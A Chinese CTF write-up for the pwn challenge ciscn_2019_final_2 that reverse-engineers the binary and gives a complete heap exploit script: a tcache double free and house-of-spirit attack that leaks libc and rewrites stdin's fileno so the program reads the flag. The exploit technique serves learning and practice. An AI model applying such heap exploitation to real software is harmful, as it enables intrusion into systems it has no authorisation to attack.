• ciscn_2019_final_2


    逆向分析

    ------------------------
    1: add an inode 
    2: remove an inode 
    3: show an inode 
    4: leave message and exit. 
    ------------------------
    which command?
    > 
    

    init 函数

      fd = open("flag", 0);
      if ( fd == -1 )
      {
        puts("no such file :flag");
        exit(-1);
      }
      dup2(fd, 666);
    
    • 程序开始时将 flag 的 fd 指针改为 666 .

    add 函数

        int_pt = malloc(0x20uLL);
        short_pt = malloc(0x10uLL);
        bool = 1;
        v0 = int_pt;
        *v0 = get_atoi();
        v1 = get_atoi();
        *(_WORD *)short_pt = v1;
        *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
        *((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
    
    • 可以分配 0x20 或 0x10 大小的 chunk 。
    • 将输入的数字存储在 mem 指针起始处。
    • 在 mem 指针 8 字节偏移处存储输入的数字。

    remove 函数

        if ( bool )
        free(int_pt);
        bool = 0;
        free(short_pt);
        bool = 0;
    
    • 释放指针对应的块,注意指针置 0 。
    • 全局变量的限制,不能连续释放。

    show 函数

        v0 = show_time--;
        printf("your int type inode number :%d
    ", *(unsigned int *)int_pt);
        printf("your short type inode number :%d
    ", (unsigned int)*(signed __int16 *)short_pt);
    
    • show_time 限制只能 show 三次。
    • 打印 chunk 的内容。

    leave 函数

        __isoc99_scanf("%99s", &v0);
        printf("your message :%s we have received...
    ", &v0);
    
    • 写入 message 并输出。

    利用思路

    • 分配足够多的 tcachebin 使其合并进入 unorted bin 。
    • 通过 unsorted bin 的 fd 指针泄露 libc 的基址,并计算出 fileno 的地址。
    • 运用 double free 与 house of spirit 技术将 stdin 的 fileno 改为 666 ,这样 scanf 的时候就会从 flag 文件中读取数据。
    • 触发 leave 函数,打印 flag 。

    exp 脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('ciscn_final_2')
    pdbg.debug('2.27')
    pdbg.remote('node3.buuoj.cn',25742)
    p = pdbg.run('remote')
    elf = ELF('./ciscn_final_2')
    libc = ELF('./libc/libc-2.27.so')
    
    def add(add_type, add_num):
        p.sendlineafter('which command?
    > ', '1')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(add_type))
        p.sendafter('your inode number:', str(add_num))
    
    def remove(remove_type):
        p.sendlineafter('which command?
    > ', '2')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(remove_type))
    
    def show(show_type):
        p.sendlineafter('which command?
    > ', '3')
        p.sendlineafter('TYPE:
    1: int
    2: short int
    >', str(show_type))
        if show_type == 1:
            p.recvuntil('your int type inode number :')
        elif show_type == 2:
            p.recvuntil('your short type inode number :')
        return int(p.recvuntil('
    ', drop=True))
    
    add(1,0x30)
    remove(1)
    add(2,0x20)
    add(2,0x20)
    add(2,0x20)
    add(2,0x20)
    remove(2)
    add(1,0x30)
    remove(2)
    addr_chunk0_prev_size = show(2) - 0xa0
    add(2, addr_chunk0_prev_size)
    add(2, addr_chunk0_prev_size)
    add(2, 0x91)
    
    for i in range(0, 7):
        remove(1)
        add(2, 0x20)
    remove(1)
    
    addr_main_arena = show(1) - 96
    libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
    addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
    
    add(1, addr__IO_2_1_stdin__fileno)
    add(1, 0x30) 
    remove(1)
    add(2, 0x20)
    remove(1)
    addr_chunk0_fd = show(1) - 0x30
    add(1, addr_chunk0_fd)
    add(1, addr_chunk0_fd)
    add(1, 111)
    add(1, 666)
    
    p.sendlineafter('which command?
    > ', '4')
    p.recvuntil('your message :')
    
    p.interactive()
    

    get flag

    内容来源

    【BUUCTF】Pwn--Ciscn_2019_final_2
    感谢 binLep 师傅的指点!

  • 相关阅读:
    二叉树
    bfs
    E-Gold Coins
    D-We Love MOE Girls
    A
    哈希--查找出现过的数字
    二分查找
    KMP简单应用
    KMP算法(2)
    [JSOI2008]最大数
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12409143.html
Copyright © 2020-2023  润新知